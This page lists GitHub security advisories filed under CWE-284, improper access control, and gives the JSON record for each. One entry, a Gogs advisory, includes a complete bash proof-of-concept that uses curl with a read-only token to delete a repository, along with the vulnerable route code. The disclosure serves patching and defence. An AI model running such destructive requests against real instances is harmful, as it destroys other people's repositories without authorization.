CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7797 vulnerabilities reference this CWE, most recent first.
GHSA-RJRJ-8C3C-JMCP
Vulnerability from github – Published: 2022-05-17 03:04 – Updated: 2022-05-17 03:04An elevation of privilege vulnerability in the Synaptics touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31913197.
{
"affected": [],
"aliases": [
"CVE-2016-8394"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-01-12T15:59:00Z",
"severity": "HIGH"
},
"details": "An elevation of privilege vulnerability in the Synaptics touchscreen driver could enable a local malicious application to execute arbitrary code within the context of the kernel. This issue is rated as High because it first requires compromising a privileged process. Product: Android. Versions: Kernel-3.10. Android ID: A-31913197.",
"id": "GHSA-rjrj-8c3c-jmcp",
"modified": "2022-05-17T03:04:29Z",
"published": "2022-05-17T03:04:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-8394"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2016-12-01.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/94682"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RJRQ-93HP-22WW
Vulnerability from github – Published: 2022-05-02 03:23 – Updated: 2025-04-10 01:15Frontend User Registration (sr_feuser_register) extension 2.5.20 and earlier for TYPO3 does not properly verify access rights, which allows remote authenticated users to obtain sensitive information such as passwords via unknown attack vectors.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "sjbr/sr-feuser-register"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.5.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2009-1264"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-10T01:15:25Z",
"nvd_published_at": "2009-04-07T23:30:00Z",
"severity": "HIGH"
},
"details": "Frontend User Registration (sr_feuser_register) extension 2.5.20 and earlier for TYPO3 does not properly verify access rights, which allows remote authenticated users to obtain sensitive information such as passwords via unknown attack vectors.",
"id": "GHSA-rjrq-93hp-22ww",
"modified": "2025-04-10T01:15:25Z",
"published": "2022-05-02T03:23:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-1264"
},
{
"type": "PACKAGE",
"url": "https://github.com/TYPO3-extensions/sr_feuser_register"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20090527190538/http://typo3.org/teams/security/security-bulletins/typo3-sa-2009-004"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200228205603/http://www.securityfocus.com/bid/34374"
},
{
"type": "WEB",
"url": "http://typo3.org/extensions/repository/view/sr_feuser_register/2.5.21"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Frontend User Registration extension for TYPO3 does not properly verify access rights"
}
GHSA-RJV5-9PX2-FQW6
Vulnerability from github – Published: 2026-02-06 19:47 – Updated: 2026-02-06 19:47Summary
The DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.
This vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().
Details
-
vulnerability location:
-
Vulnerable Endpoint：DELETE /api/v1/repos/:owner/:repo
- Routing configuration file: internal/route/api/v1/api.go (approximately line 253)
-
Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)
-
Root Cause Analysis
Code Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)
// 当前的路由配置（存在漏洞）
m.Delete("", repo.Delete) // 仅继承了外层的 repoAssignment() 中间件
Code Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)
// Delete 函数内部没有额外的权限检查
func Delete(c *context.APIContext) {
// 直接执行删除操作，未验证用户是否为所有者
if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {
c.Error(500, "DeleteRepository", err)
return
}
c.Status(204)
}
- Missing Permission Check Comparison with route configurations for other sensitive operations:
// Webhooks 管理（正确实现）
m.Group("/hooks", func() {
m.Combo("").
Get(repo.ListHooks).
Post(bind(api.CreateHookOption{}), repo.CreateHook)
}, reqRepoAdmin()) // ✅ 使用了权限中间件
// 部署密钥管理（正确实现）
m.Group("/keys", func() {
m.Combo("").
Get(repo.ListDeployKeys).
Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)
}, reqRepoAdmin()) // ✅ 使用了权限中间件
// 删除仓库（漏洞）
m.Delete("", repo.Delete) // ❌ 没有使用权限中间件
-
Data Flow Path
-
API Request Path: DELETE /api/v1/repos/:owner/:repo
- Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).
- Execution: The system directly executes the repo.Delete() function.
- Permission Check: The reqRepoOwner() middleware check is missing.
- Internal Validation: There is no permission validation inside the Delete() function either.
- Result: Any user with read permission can delete the repository.
PoC
Prerequisites
- A running Gogs instance.
- The attacker's account is added as a collaborator to the target repository (Read access is sufficient).
- The attacker possesses a valid API access token.
- The target repository exists and is accessible.
📜 Test Steps (Bash)
-
Verify Gogs service is running curl -I http://localhost:10880
-
Create test accounts and repository
- Owner account: owner / owner123456
- Read-only account: victim / victim123456
-
Test repository: owner/delete-test
-
Add 'victim' as a read-only collaborator Perform this via the Web UI or API
-
Obtain API token for 'victim' curl -X POST http://localhost:10880/api/v1/users/victim/tokens \ -u victim:victim123456 \ -H "Content-Type: application/json" \ -d '{"name":"test-token"}'
-
Resource deleted
Web UI：Target repository deletion successful
📜 PoC Script
#!/bin/bash
# Gogs 仓库删除授权绕过漏洞 PoC
# ============ 配置信息 ============
GOGS_URL="http://localhost:10880"
TARGET_REPO="owner/delete-test"
VICTIM_TOKEN="your_victim_read_only_token_here"
# ============ 执行攻击 ============
echo "========================================"
echo "Gogs 仓库删除授权绕过漏洞 PoC"
echo "========================================"
echo ""
echo "目标仓库: $TARGET_REPO"
echo "攻击者权限: Read（只读）"
echo "预期行为: 403 Forbidden（应该被拒绝）"
echo ""
# 步骤1：验证仓库存在
echo "[步骤1] 验证目标仓库存在..."
REPO_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: token $VICTIM_TOKEN" \
"$GOGS_URL/api/v1/repos/$TARGET_REPO")
if [ "$REPO_CHECK" == "200" ]; then
echo "✓ 仓库存在且可访问"
else
echo "✗ 仓库不存在或无权访问 (状态码: $REPO_CHECK)"
exit 1
fi
# 步骤2：尝试删除仓库（漏洞利用）
echo ""
echo "[步骤2] 使用只读权限尝试删除仓库..."
DELETE_RESPONSE=$(curl -s -w "\nHTTP_CODE:%{http_code}" \
-X DELETE \
-H "Authorization: token $VICTIM_TOKEN" \
"$GOGS_URL/api/v1/repos/$TARGET_REPO")
DELETE_CODE=$(echo "$DELETE_RESPONSE" | grep "HTTP_CODE:" | cut -d: -f2)
echo "实际状态码: $DELETE_CODE"
echo ""
# 步骤3：验证结果
if [ "$DELETE_CODE" == "204" ] || [ "$DELETE_CODE" == "200" ]; then
echo "========================================"
echo "🔴 漏洞确认：删除成功！"
echo "========================================"
echo ""
echo "只读权限用户成功删除了仓库！"
echo ""
# 验证仓库是否真的被删除
sleep 2
echo "验证仓库是否真的被删除..."
VERIFY_CHECK=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: token $VICTIM_TOKEN" \
"$GOGS_URL/api/v1/repos/$TARGET_REPO")
if [ "$VERIFY_CHECK" == "404" ]; then
echo "✗ 仓库已被完全删除（404 Not Found）"
echo ""
echo "危害确认："
echo " - 仓库及所有数据永久丢失"
echo " - 代码历史记录不可恢复"
echo " - 这是一个 HIGH 级别的严重漏洞"
else
echo "? 仓库状态未知 (状态码: $VERIFY_CHECK)"
fi
elif [ "$DELETE_CODE" == "403" ]; then
echo "========================================"
echo "✅ 无漏洞：操作被正确拒绝"
echo "========================================"
echo ""
echo "只读权限用户无法删除仓库，权限检查正常"
else
echo "========================================"
echo "⚠️ 未预期的响应"
echo "========================================"
echo ""
echo "状态码: $DELETE_CODE"
echo "这可能表示 API 端点不存在或其他错误"
fi
echo ""
echo "========================================"
echo "PoC 执行完成"
echo "========================================"
Impact
Vulnerability Type: Broken Access Control (CWE-284)
Description: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.
Consequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.
Severity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.
The Core Risk: Privilege Escalation & Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.3"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.13.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-65852"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T19:47:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nThe DELETE /api/v1/repos/:owner/:repo endpoint lacks necessary permission validation middleware. Consequently, any user with read access (including read-only collaborators) can delete the entire repository.\n\nThis vulnerability stems from the API route configuration only utilizing the repoAssignment() middleware (which only verifies read access) without enforcing reqRepoOwner() or reqRepoAdmin().\n\n### Details\n0. vulnerability location:\n\n- Vulnerable Endpoint\uff1aDELETE /api/v1/repos/:owner/:repo\n- Routing configuration file: internal/route/api/v1/api.go (approximately line 253)\n- Function handling file: internal/route/api/v1/repo/repo.go (approximately lines 320-338)\n\n1. Root Cause Analysis\n\nCode Location 1: API Route Configuration (internal/route/api/v1/api.go ~ line 253)\n\n```go\n// \u5f53\u524d\u7684\u8def\u7531\u914d\u7f6e\uff08\u5b58\u5728\u6f0f\u6d1e\uff09\nm.Delete(\"\", repo.Delete) // \u4ec5\u7ee7\u627f\u4e86\u5916\u5c42\u7684 repoAssignment() \u4e2d\u95f4\u4ef6\n```\n\nCode Location 2: Delete Function Implementation (internal/route/api/v1/repo/repo.go ~ lines 320-338)\n```go\n// Delete \u51fd\u6570\u5185\u90e8\u6ca1\u6709\u989d\u5916\u7684\u6743\u9650\u68c0\u67e5\nfunc Delete(c *context.APIContext) {\n // \u76f4\u63a5\u6267\u884c\u5220\u9664\u64cd\u4f5c\uff0c\u672a\u9a8c\u8bc1\u7528\u6237\u662f\u5426\u4e3a\u6240\u6709\u8005\n if err := models.DeleteRepository(c.User.ID, c.Repo.Repository.ID); err != nil {\n c.Error(500, \"DeleteRepository\", err)\n return\n }\n c.Status(204)\n}\n```\n\n2. Missing Permission Check\nComparison with route configurations for other sensitive operations:\n\n```go\n// Webhooks \u7ba1\u7406\uff08\u6b63\u786e\u5b9e\u73b0\uff09\nm.Group(\"/hooks\", func() {\n m.Combo(\"\").\n Get(repo.ListHooks).\n Post(bind(api.CreateHookOption{}), repo.CreateHook)\n}, reqRepoAdmin()) // \u2705 \u4f7f\u7528\u4e86\u6743\u9650\u4e2d\u95f4\u4ef6\n\n// \u90e8\u7f72\u5bc6\u94a5\u7ba1\u7406\uff08\u6b63\u786e\u5b9e\u73b0\uff09\nm.Group(\"/keys\", func() {\n m.Combo(\"\").\n Get(repo.ListDeployKeys).\n Post(bind(api.CreateKeyOption{}), repo.CreateDeployKey)\n}, reqRepoAdmin()) // \u2705 \u4f7f\u7528\u4e86\u6743\u9650\u4e2d\u95f4\u4ef6\n\n// \u5220\u9664\u4ed3\u5e93\uff08\u6f0f\u6d1e\uff09\nm.Delete(\"\", repo.Delete) // \u274c \u6ca1\u6709\u4f7f\u7528\u6743\u9650\u4e2d\u95f4\u4ef6\n```\n3. Data Flow Path\n\n- API Request Path: DELETE /api/v1/repos/:owner/:repo\n- Route Handling: The outer middleware repoAssignment() verifies that the user has read access (Passed).\n- Execution: The system directly executes the repo.Delete() function.\n- Permission Check: The reqRepoOwner() middleware check is missing.\n- Internal Validation: There is no permission validation inside the Delete() function either.\n- Result: Any user with read permission can delete the repository.\n\n\n### PoC\n\nPrerequisites\n\n- A running Gogs instance.\n- The attacker\u0027s account is added as a collaborator to the target repository (Read access is sufficient).\n- The attacker possesses a valid API access token.\n- The target repository exists and is accessible.\n\n\ud83d\udcdc Test Steps (Bash)\n\n1. Verify Gogs service is running\ncurl -I http://localhost:10880\n\n2. Create test accounts and repository\n- Owner account: owner / owner123456\n- Read-only account: victim / victim123456\n- Test repository: owner/delete-test\n\u003cimg width=\"1580\" height=\"832\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d1babac8-d952-4765-ba34-d4891c12b8db\" /\u003e\n\n\n3. Add \u0027victim\u0027 as a read-only collaborator\nPerform this via the Web UI or API\n\u003cimg width=\"1597\" height=\"725\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f76db1d4-9e45-4a97-af22-50db124ec4d0\" /\u003e\n\u003cimg width=\"1597\" height=\"760\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f6ef3bd9-47d4-4202-bf10-2022be557f16\" /\u003e\n\n\n\n4. Obtain API token for \u0027victim\u0027\ncurl -X POST http://localhost:10880/api/v1/users/victim/tokens \\\n -u victim:victim123456 \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"name\":\"test-token\"}\u0027\n\n5. Resource deleted\n\u003cimg width=\"1602\" height=\"483\" alt=\"image\" src=\"https://github.com/user-attachments/assets/3e77aaaa-ffbc-4521-be4b-9a62f36499ff\" /\u003e\nWeb UI\uff1aTarget repository deletion successful\n\u003cimg width=\"1581\" height=\"853\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fbd6b4a4-c874-44f9-9b6e-765371eddcc7\" /\u003e\n\n\n\ud83d\udcdc PoC Script\n\n```bash\n#!/bin/bash\n# Gogs \u4ed3\u5e93\u5220\u9664\u6388\u6743\u7ed5\u8fc7\u6f0f\u6d1e PoC\n\n# ============ \u914d\u7f6e\u4fe1\u606f ============\nGOGS_URL=\"http://localhost:10880\"\nTARGET_REPO=\"owner/delete-test\"\nVICTIM_TOKEN=\"your_victim_read_only_token_here\"\n\n# ============ \u6267\u884c\u653b\u51fb ============\necho \"========================================\"\necho \"Gogs \u4ed3\u5e93\u5220\u9664\u6388\u6743\u7ed5\u8fc7\u6f0f\u6d1e PoC\"\necho \"========================================\"\necho \"\"\necho \"\u76ee\u6807\u4ed3\u5e93: $TARGET_REPO\"\necho \"\u653b\u51fb\u8005\u6743\u9650: Read\uff08\u53ea\u8bfb\uff09\"\necho \"\u9884\u671f\u884c\u4e3a: 403 Forbidden\uff08\u5e94\u8be5\u88ab\u62d2\u7edd\uff09\"\necho \"\"\n\n# \u6b65\u9aa41\uff1a\u9a8c\u8bc1\u4ed3\u5e93\u5b58\u5728\necho \"[\u6b65\u9aa41] \u9a8c\u8bc1\u76ee\u6807\u4ed3\u5e93\u5b58\u5728...\"\nREPO_CHECK=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -H \"Authorization: token $VICTIM_TOKEN\" \\\n \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n\nif [ \"$REPO_CHECK\" == \"200\" ]; then\n echo \"\u2713 \u4ed3\u5e93\u5b58\u5728\u4e14\u53ef\u8bbf\u95ee\"\nelse\n echo \"\u2717 \u4ed3\u5e93\u4e0d\u5b58\u5728\u6216\u65e0\u6743\u8bbf\u95ee (\u72b6\u6001\u7801: $REPO_CHECK)\"\n exit 1\nfi\n\n# \u6b65\u9aa42\uff1a\u5c1d\u8bd5\u5220\u9664\u4ed3\u5e93\uff08\u6f0f\u6d1e\u5229\u7528\uff09\necho \"\"\necho \"[\u6b65\u9aa42] \u4f7f\u7528\u53ea\u8bfb\u6743\u9650\u5c1d\u8bd5\u5220\u9664\u4ed3\u5e93...\"\nDELETE_RESPONSE=$(curl -s -w \"\\nHTTP_CODE:%{http_code}\" \\\n -X DELETE \\\n -H \"Authorization: token $VICTIM_TOKEN\" \\\n \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n\nDELETE_CODE=$(echo \"$DELETE_RESPONSE\" | grep \"HTTP_CODE:\" | cut -d: -f2)\n\necho \"\u5b9e\u9645\u72b6\u6001\u7801: $DELETE_CODE\"\necho \"\"\n\n# \u6b65\u9aa43\uff1a\u9a8c\u8bc1\u7ed3\u679c\nif [ \"$DELETE_CODE\" == \"204\" ] || [ \"$DELETE_CODE\" == \"200\" ]; then\n echo \"========================================\"\n echo \"\ud83d\udd34 \u6f0f\u6d1e\u786e\u8ba4\uff1a\u5220\u9664\u6210\u529f\uff01\"\n echo \"========================================\"\n echo \"\"\n echo \"\u53ea\u8bfb\u6743\u9650\u7528\u6237\u6210\u529f\u5220\u9664\u4e86\u4ed3\u5e93\uff01\"\n echo \"\"\n \n # \u9a8c\u8bc1\u4ed3\u5e93\u662f\u5426\u771f\u7684\u88ab\u5220\u9664\n sleep 2\n echo \"\u9a8c\u8bc1\u4ed3\u5e93\u662f\u5426\u771f\u7684\u88ab\u5220\u9664...\"\n VERIFY_CHECK=$(curl -s -o /dev/null -w \"%{http_code}\" \\\n -H \"Authorization: token $VICTIM_TOKEN\" \\\n \"$GOGS_URL/api/v1/repos/$TARGET_REPO\")\n \n if [ \"$VERIFY_CHECK\" == \"404\" ]; then\n echo \"\u2717 \u4ed3\u5e93\u5df2\u88ab\u5b8c\u5168\u5220\u9664\uff08404 Not Found\uff09\"\n echo \"\"\n echo \"\u5371\u5bb3\u786e\u8ba4\uff1a\"\n echo \" - \u4ed3\u5e93\u53ca\u6240\u6709\u6570\u636e\u6c38\u4e45\u4e22\u5931\"\n echo \" - \u4ee3\u7801\u5386\u53f2\u8bb0\u5f55\u4e0d\u53ef\u6062\u590d\"\n echo \" - \u8fd9\u662f\u4e00\u4e2a HIGH \u7ea7\u522b\u7684\u4e25\u91cd\u6f0f\u6d1e\"\n else\n echo \"? \u4ed3\u5e93\u72b6\u6001\u672a\u77e5 (\u72b6\u6001\u7801: $VERIFY_CHECK)\"\n fi\n \nelif [ \"$DELETE_CODE\" == \"403\" ]; then\n echo \"========================================\"\n echo \"\u2705 \u65e0\u6f0f\u6d1e\uff1a\u64cd\u4f5c\u88ab\u6b63\u786e\u62d2\u7edd\"\n echo \"========================================\"\n echo \"\"\n echo \"\u53ea\u8bfb\u6743\u9650\u7528\u6237\u65e0\u6cd5\u5220\u9664\u4ed3\u5e93\uff0c\u6743\u9650\u68c0\u67e5\u6b63\u5e38\"\n \nelse\n echo \"========================================\"\n echo \"\u26a0\ufe0f \u672a\u9884\u671f\u7684\u54cd\u5e94\"\n echo \"========================================\"\n echo \"\"\n echo \"\u72b6\u6001\u7801: $DELETE_CODE\"\n echo \"\u8fd9\u53ef\u80fd\u8868\u793a API \u7aef\u70b9\u4e0d\u5b58\u5728\u6216\u5176\u4ed6\u9519\u8bef\"\nfi\n\necho \"\"\necho \"========================================\"\necho \"PoC \u6267\u884c\u5b8c\u6210\"\necho \"========================================\"\n```\n\n\n### Impact\nVulnerability Type: Broken Access Control (CWE-284)\n\nDescription: A critical authorization bypass vulnerability exists in the Gogs API. The access control mechanism fails to properly validate permissions for destructive operations.\n\nConsequences: An authenticated attacker with low-level privileges (e.g., a collaborator with Read-Only access) can exploit this vulnerability to issue unauthorized DELETE requests. This allows the attacker to permanently delete entire repositories, resulting in the immediate loss of all source code, git history, issues, and wiki documentation.\n\nSeverity: This vulnerability poses a critical risk to data integrity and availability, potentially leading to irreversible data loss and significant operational disruption for affected organizations.\n\nThe Core Risk: Privilege Escalation \u0026 Data Destruction The most critical aspect of this vulnerability is the violation of the Principle of Least Privilege. It allows a user with the lowest level of access (Read-Only) to execute the most destructive action possible (Delete).",
"id": "GHSA-rjv5-9px2-fqw6",
"modified": "2026-02-06T19:47:26Z",
"published": "2026-02-06T19:47:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-rjv5-9px2-fqw6"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/961a79e8f9f2b3190ea804bcf635e4b43b123272"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.13.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Gogs has authorization bypass in repository deletion API"
}
GHSA-RM22-52JF-H579
Vulnerability from github – Published: 2022-05-14 03:01 – Updated: 2022-05-14 03:01IBM WebSphere Cast Iron 6.3 allows remote attackers to bypass intended access restrictions via unspecified vectors. IBM X-Force ID: 83868.
{
"affected": [],
"aliases": [
"CVE-2013-2972"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-11T16:29:00Z",
"severity": "HIGH"
},
"details": "IBM WebSphere Cast Iron 6.3 allows remote attackers to bypass intended access restrictions via unspecified vectors. IBM X-Force ID: 83868.",
"id": "GHSA-rm22-52jf-h579",
"modified": "2022-05-14T03:01:05Z",
"published": "2022-05-14T03:01:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2972"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83868"
},
{
"type": "WEB",
"url": "https://www-01.ibm.com/support/docview.wss?uid=swg21635993"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM2F-5XVP-F49W
Vulnerability from github – Published: 2025-08-19 15:31 – Updated: 2025-08-19 21:30A vulnerability exists in riscv-boom SonicBOOM 1.2 (BOOMv1.2) processor implementation, where valid virtual-to-physical address translations configured with write permissions (PTE_W) in SV39 mode may incorrectly trigger a Store/AMO access fault during store instructions (sd). This occurs despite the presence of proper page table entries and valid memory access modes. The fault is reproducible when transitioning into virtual memory and attempting store operations in mapped kernel memory, indicating a potential flaw in the MMU, PMP, or memory access enforcement logic. This may cause unexpected kernel panics or denial of service in systems using BOOMv1.2.
{
"affected": [],
"aliases": [
"CVE-2025-50897"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-08-19T15:15:28Z",
"severity": "MODERATE"
},
"details": "A vulnerability exists in riscv-boom SonicBOOM 1.2 (BOOMv1.2) processor implementation, where valid virtual-to-physical address translations configured with write permissions (PTE_W) in SV39 mode may incorrectly trigger a Store/AMO access fault during store instructions (sd). This occurs despite the presence of proper page table entries and valid memory access modes. The fault is reproducible when transitioning into virtual memory and attempting store operations in mapped kernel memory, indicating a potential flaw in the MMU, PMP, or memory access enforcement logic. This may cause unexpected kernel panics or denial of service in systems using BOOMv1.2.",
"id": "GHSA-rm2f-5xvp-f49w",
"modified": "2025-08-19T21:30:36Z",
"published": "2025-08-19T15:31:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50897"
},
{
"type": "WEB",
"url": "https://github.com/LuLuji04/POC-Boomv1.2"
},
{
"type": "WEB",
"url": "https://github.com/riscv-boom/riscv-boom"
},
{
"type": "WEB",
"url": "https://github.com/riscv-software-src/riscv-isa-sim"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM3J-JJ6H-QRQ4
Vulnerability from github – Published: 2024-09-25 03:30 – Updated: 2024-09-25 03:30Incorrect access control in IceCMS v3.4.7 and before allows attackers to authenticate by entering any arbitrary values as the username and password via the loginAdmin method in the UserController.java file.
{
"affected": [],
"aliases": [
"CVE-2024-46607"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-09-25T01:15:44Z",
"severity": "HIGH"
},
"details": "Incorrect access control in IceCMS v3.4.7 and before allows attackers to authenticate by entering any arbitrary values as the username and password via the loginAdmin method in the UserController.java file.",
"id": "GHSA-rm3j-jj6h-qrq4",
"modified": "2024-09-25T03:30:36Z",
"published": "2024-09-25T03:30:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46607"
},
{
"type": "WEB",
"url": "https://github.com/Lunax0/LogLunax/blob/main/icecms/CVE-2024-46607.md"
},
{
"type": "WEB",
"url": "https://github.com/Thecosy/iceCMS?tab=readme-ov-file"
},
{
"type": "WEB",
"url": "http://icecms.com"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-RM3M-Q3M3-2P24
Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2024-07-30 03:30An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. Any SIM card used with the device cannot have a PIN configured. If a PIN is configured, the device simply produces a "Remove PIN and restart!" message, and cannot be used. This makes it easier for an attacker to use the SIM card by stealing the device.
{
"affected": [],
"aliases": [
"CVE-2019-20473"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-01T21:15:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered on TK-Star Q90 Junior GPS horloge 3.1042.9.8656 devices. Any SIM card used with the device cannot have a PIN configured. If a PIN is configured, the device simply produces a \"Remove PIN and restart!\" message, and cannot be used. This makes it easier for an attacker to use the SIM card by stealing the device.",
"id": "GHSA-rm3m-q3m3-2p24",
"modified": "2024-07-30T03:30:50Z",
"published": "2022-05-24T17:40:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-20473"
},
{
"type": "WEB",
"url": "https://www.eurofins-cybersecurity.com/news/connected-devices-smart-watches"
},
{
"type": "WEB",
"url": "https://www.tk-star.com"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Jul/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RM3X-HGP8-PVXP
Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-17 00:32Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Approvals). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Purchasing accessible data as well as unauthorized read access to a subset of Oracle Purchasing accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2024-21132"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-16T23:15:13Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite (component: Approvals). Supported versions that are affected are 12.2.3-12.2.13. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Purchasing, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Purchasing accessible data as well as unauthorized read access to a subset of Oracle Purchasing accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).",
"id": "GHSA-rm3x-hgp8-pvxp",
"modified": "2024-07-17T00:32:54Z",
"published": "2024-07-17T00:32:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-21132"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2024.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-RM7F-F74M-5FJV
